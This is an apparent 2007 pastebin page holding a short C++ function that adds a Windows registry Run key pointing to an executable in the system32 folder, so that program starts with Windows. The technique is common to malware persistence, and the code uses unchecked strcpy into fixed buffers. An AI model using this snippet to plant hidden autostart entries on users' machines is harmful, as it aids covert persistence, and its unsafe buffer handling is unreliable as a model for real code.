Recent
:: anonymous
25 mins ago
:: This post is secret Bloodankh
3 hrs ago
:: anonymous
6 hrs ago
:: This post is secret Horny
9 hrs ago
:: Horny
9 hrs ago
:: anonymous
10 hrs ago
:: 011 Tripmag - D
12 hrs ago
:: This post is secret c-x
13 hrs ago
:: c-x
13 hrs ago
:: c-x
15 hrs ago
:: hilikus
19 hrs ago
:: (stydim se)
1 day ago
:: DarkAvenger
1 day ago
:: anonymous
1 day ago
:: tomma
1 day ago
rss 2.0 feed

Make New Post
Posts: 8824

Syntax:       Wrapping:  

   #2236 Posted by petrzel_rulz 2007-07-05 18:24:40 ( view diff)
Formated by GeSHi
  1. void registry(string winroot, string name)
  2. {
  3. HKEY hKey;
  4. char cname[300];
  5. strcpy(cname,name.c_str());
  6. string value = "" + winroot + "\\system32\\" + name + ".exe";
  7. char cvalue[500];
  8. strcpy(cvalue,value.c_str());
  9.  
  10.  
  11. RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey);
  12. RegSetValueEx(hKey,cname,0,REG_SZ,(const BYTE*)cvalue,sizeof(cvalue));
  13. RegCloseKey(hKey);
  14. }
Parsed in 0.31058884 seconds
::  Inline view Inline view ::  Email this post Email  ::  Print Print   

:: Download   Download Text File2236.txt   Download Gziped text File2236.txt.gz   Download HTML File2236.html   Download PDF File2236.pdf
:: Print into    Print into HTML FileHTML document   Print into PDF FilePDF document

:: Make Diff

:: Erase Post

* Code:

To highlight particular lines, prefix each line with @@


Description:


Secret key (for later deletion)
Syntax:     


comments (0)


Copyright © 2006 Openpastebin